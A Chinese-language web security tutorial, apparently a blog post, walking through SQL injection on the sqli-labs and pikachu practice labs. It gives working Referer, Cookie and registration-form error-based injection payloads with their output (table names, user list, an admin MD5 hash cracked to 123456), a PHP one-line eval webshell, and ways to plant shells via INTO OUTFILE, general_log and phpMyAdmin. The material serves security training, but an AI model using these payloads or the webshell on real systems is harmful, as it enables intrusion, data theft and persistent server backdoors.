SQL注入-下篇

本文涉及的产品
多模态交互后付费免费试用,全链路、全Agent
简介: 本文介绍了HTTP注入中的Referer和Cookies注入原理与实操步骤,演示了通过SQL注入获取数据库信息及webShell的方法,并涵盖pikachu靶场搭建、DNSLog盲注等内容,帮助理解常见Web安全漏洞及其利用方式。

HTTP注入

一、Referer注入

概述

当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器的。

如直接在浏览器器的URL栏输入网址访问网站是没有referer的,需要在一个打开的网站中,点击链接跳转到另一个页面。

Less-19
  1. 判断也是是否存在注入

  1. 尝试注入
  1. 使用单引号判断

  1. 闭合SQL
http://10.196.93.67/sqli-labs/Less-19/','' ) #

  1. 构造语句并注入
  1. 判断是插入语句,尝试报错注入。
http://10.196.93.67/sqli-labs/Less-19/'and updatexml(1,concat('~',(select database()),'~'),1),'' ) #

二、Cookies注入

  1. 判断是否有注入
  1. 显示请求头信息

  1. 闭合语句
  1. 单引号尝试报错,可能注入

  1. 添加井号,闭合完成

  1. 构造语句并注入
  1. 报错注入
Cookie: uname=v 'and updatexml(1,concat('~',(select user()),'~'),1) #

pikachu靶场搭建

  1. github地址:https://github.com/zhuifengshaonianhanlu/pikachu
  2. 下载后解压放入文件到Apache服务中的www根目录中
  3. 在mysql数据库中创建一个任意的数据库(示例:pikachu)
  4. 在pikachu目录中找到config.inc.php文件
  1. 位置:WWW\pikachu\inc文件下
  1. 修改config.inc.php配置
# DBNAME 为创建的开始创建的空数据库
#
<?php
//全局session_start
session_start();
//全局居设置时区
date_default_timezone_set('Asia/Shanghai');
//全局设置默认字符
header('Content-type:text/html;charset=utf-8');
//定义数据库连接参数
define('DBHOST', '127.0.0.1');//将localhost或者127.0.0.1修改为数据库服务器的地址
define('DBUSER', 'root');//将root修改为连接mysql的用户名
define('DBPW', 'root');//将root修改为连接mysql的密码,如果改了还是连接不上,请先手动连接下你的数据库,确保数据库服务没问题在说!
define('DBNAME', 'pikachu');//自定义,建议不修改
define('DBPORT', '3306');//将3306修改为mysql的连接端口,默认tcp3306
?>
  1. 网站初始化
  1. 进入网址:http://localhost/pikachu/install.php
  2. 点击初始化按钮,出现下方的红字,初始化成功。

注入漏洞登录网站(pikachu靶场)

一、寻找注入点

  1. 网址:http://10.196.93.67/pikachu/vul/sqli/sqli_iu/sqli_reg.php
  2. 判断是否能注入:
  1. 单引号判断,出现sql报错既可注入。

二、闭合语句

  1. 注册功能,使用的是插入,大概率补全字段数既可闭合语句。
username=','','','','','')# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit

三、注入

  1. 尝试报错注入
  1. 数据库名:pikachu
username=','','','','',''and updatexml(1,concat('~!',(select database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit

  1. 查询pikachu中表名
  1. 查询表的数量
username=','','','','',''and updatexml(1,concat('~',(select count(*) from information_schema.`TABLES` where TABLE_SCHEMA = database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
# 结果:5张

  1. 使用group_concat()查询()
# sql
username=','','','','',''and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.`TABLES` where TABLE_SCHEMA = database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
#结果:XPATH syntax error: '~httpinfo,member,message,users,x'
# 并没有显示完整,还差最后一张
# 查询最后一张,使用limit或直接使用suhstr()
# sql
username=','','','','',''and updatexml(1,concat('~',(select table_name from information_schema.`TABLES` where TABLE_SCHEMA = database()limit 4,1),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
# 结果:XPATH syntax error: '~xssblind~'
# 最后查询结果:httpinfo,member,message,users,xssblind

  1. 查询users表中的字段名称
username=','','','','',''and updatexml(1,concat('~',(select GROUP_CONCAT(column_name) from information_schema.`COLUMNS` where TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users'),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
# 结果:XPATH syntax error: '~id,username,password,level~'

  1. 查询users表中的数据
  1. 查询用户名
username=','','','','',''and updatexml(1,concat('~',(select group_concat(username) from users),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
# 结果:XPATH syntax error: '~admin,pikachu,test~'

  1. 查询admin用户密码
username=','','','','',''and updatexml(1,concat('~',(select password from users where username = "admin"),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
# 结果:XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883' 
# 根据结果发现:
# 一:密码使用md5加密
# 二:密码并没有显示完全,需要在使用substr()截取函数,补全密码并解码
# 真实密码:e10adc3949ba59abbe56e057f20f883e 
# 解码得:123456

webShell

一、简介

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。

顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作命令。webshell主要用于网站和服务器管理,由于其便利性和功能强大,被特别修改后的webshell也被部分人当作网站后门工具使用。

二、网站渗透流程

1、信息收集
2、网站漏洞挖掘
3 利用漏洞
  3.1、获取webShell
  3.2、获取网站后台权限
    3.2.1、获取webShell

三、一句话木马

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用

1 满足条件
  1. 木木马成功上传,为被杀
  2. 知道木马的路径在哪
  3. 上传的木马能正常运行
  4. 有PHP运行环境
2  PHP
# @ :表示后面及时后面执行错误,也不会报错。
# eval() 把参数当做代码来执行。
# 以POST方式获取到cmd的值
<?php @eval($_POST["cmd"]); ?>
# 扩展:php方法
# 可以执行系统命令
# 容易被杀毒软件杀掉
system();
3 中国蚁剑
  1. 连接

  1. 打开虚拟终端

四、SQL注入获取webShell

  1. 前提条件
  1. 当前sql注入用户必须为DBA权限(--is-dba为true)
  2. 需要知道网站的绝对路径
  3. My.ini文件中的这项配置secure_file_priv = "" 为空
  1. 技巧
  1. 单引号暴露绝对路径/错误参数暴露绝对路径

  1. secure_file_priv注入演示
  1. 设置my.ini 该字段为空
secure_file_priv =

  1. 注入
select * from `security`.users where id = '-1' union select 1,2,LOAD_FILE("D:/phpStudy/PHPTutorial/WWW/sqli-labs/Less-1/index.php/INDEX.php");
  1. into outfile
  1. 将查询数据写到到本地
select *  into outfile 'D:/phpStudy/PHPTutorial/MySQL/aaaaa.txt' from `security`.users ;

五、phpmyAdmin获取webShell

  1. 前提条件
  1. 当前sql注入用户必须为DBA权限(--is-dba为true)
  2. 需要知道网站的绝对路径
  3. My.ini文件中的这项配置secure_file_priv = "" 为空
  1. 宝塔漏洞
  1. 访问网址既可进入到phpMyAdmin管理页面
  2. http://www.xx.com:888/pma
  1. 通过查询将一句话木马写到到本地。

六、全局日志

  1. 设置全局日志
set global general_log_file = 'xxx/xx.php'
# 再写入一句话木马

DnsLog盲注

使用网址:http://www.dnslog.cn/

一、利用条件

二、固定语句

目录
相关文章
|
21天前
|
Cloud Native 安全 Java
Go语言深度解析:从入门到精通的完整指南
🌟 蒋星熠Jaxonic,执着的星际旅人,用Go语言编写代码诗篇。🚀 Go语言以简洁、高效、并发为核心,助力云计算与微服务革新。📚 本文详解Go语法、并发模型、性能优化与实战案例,助你掌握现代编程精髓。🌌 从goroutine到channel,从内存优化到高并发架构,全面解析Go的强大力量。🔧 实战构建高性能Web服务,展现Go在云原生时代的无限可能。✨ 附技术对比、最佳实践与生态全景,带你踏上Go语言的星辰征途。#Go语言 #并发编程 #云原生 #性能优化
|
21天前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
372 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
20天前
|
机器学习/深度学习 人工智能 前端开发
通义DeepResearch全面开源!同步分享可落地的高阶Agent构建方法论
通义研究团队开源发布通义 DeepResearch —— 首个在性能上可与 OpenAI DeepResearch 相媲美、并在多项权威基准测试中取得领先表现的全开源 Web Agent。
1446 87
|
3月前
|
人工智能 大数据 开发者
让AI时代的卓越架构触手可及,阿里云技术解决方案开放免费试用
阿里云推出基于场景的解决方案免费试用活动,新老用户均可领取100点试用点,完成部署还可再领最高100点,相当于一年可获得最高200元云资源。覆盖AI、大数据、互联网应用开发等多个领域,支持热门场景如DeepSeek部署、模型微调等,助力企业和开发者快速验证方案并上云。
4458 151
让AI时代的卓越架构触手可及,阿里云技术解决方案开放免费试用
|
29天前
|
人工智能 Ubuntu API
从零开始:在Ubuntu上快速部署Docker和Dify
本文介绍了如何在 Ubuntu 环境下通过阿里云镜像快速安装 Docker 与 Docker Compose,并部署 Dify 智能应用平台。结合蓝耘 MaaS 平台 API,实现大模型高效接入,帮助开发者快速构建 AI 应用,提升开发效率与使用体验。
603 8
|
5月前
|
人工智能 Kubernetes Nacos
Nacos 3.0 正式发布:MCP Registry、安全零信任、链接更多生态
Nacos 3.0 正式发布,作为云原生时代的基础设施级产品,不仅提升了技术能力,还以更高效、安全的方式帮助用户构建云原生AI应用架构。此次升级包括MCP Registry,围绕MCP服务管理,支持多种类型注册(如MCP Server、编排、动态调试和管理),并提供Nacos-MCP-Router实现MCP动态发现与自动安装代理。安全性方面,默认开启鉴权,并支持动态数据源密钥等零信任方案。此外,Nacos 3.0 还强化了多语言生态,覆盖主流开发语言(Python、GoLang、Rust等),并与K8S生态打通,面向全场景提供统一管理平台。
957 96
Nacos 3.0 正式发布:MCP Registry、安全零信任、链接更多生态
|
26天前
|
人工智能 数据可视化 测试技术
AI 时代 API 自动化测试实战:Postman 断言的核心技巧与实战应用
AI 时代 API 自动化测试实战:Postman 断言的核心技巧与实战应用
275 11
|
20天前
|
存储 算法 搜索推荐
软考算法破壁战:从二分查找到堆排序,九大排序核心速通指南
专攻软考高频算法,深度解析二分查找、堆排序、快速排序核心技巧,对比九大排序算法,配套动画与真题,7天掌握45%分值模块。
75 0
软考算法破壁战:从二分查找到堆排序,九大排序核心速通指南
|
20天前
|
存储 负载均衡 数据库
鸿蒙 HarmonyOS NEXT端云一体化开发-云函数篇
本文介绍基于华为AGC的端云一体化开发流程,涵盖项目创建、云函数开通、应用配置及DevEco集成。重点讲解云函数的编写、部署、调用与传参,并涉及环境变量设置、负载均衡、重试机制与熔断策略等高阶特性,助力开发者高效构建稳定云端服务。
198 0
鸿蒙 HarmonyOS NEXT端云一体化开发-云函数篇

热门文章

最新文章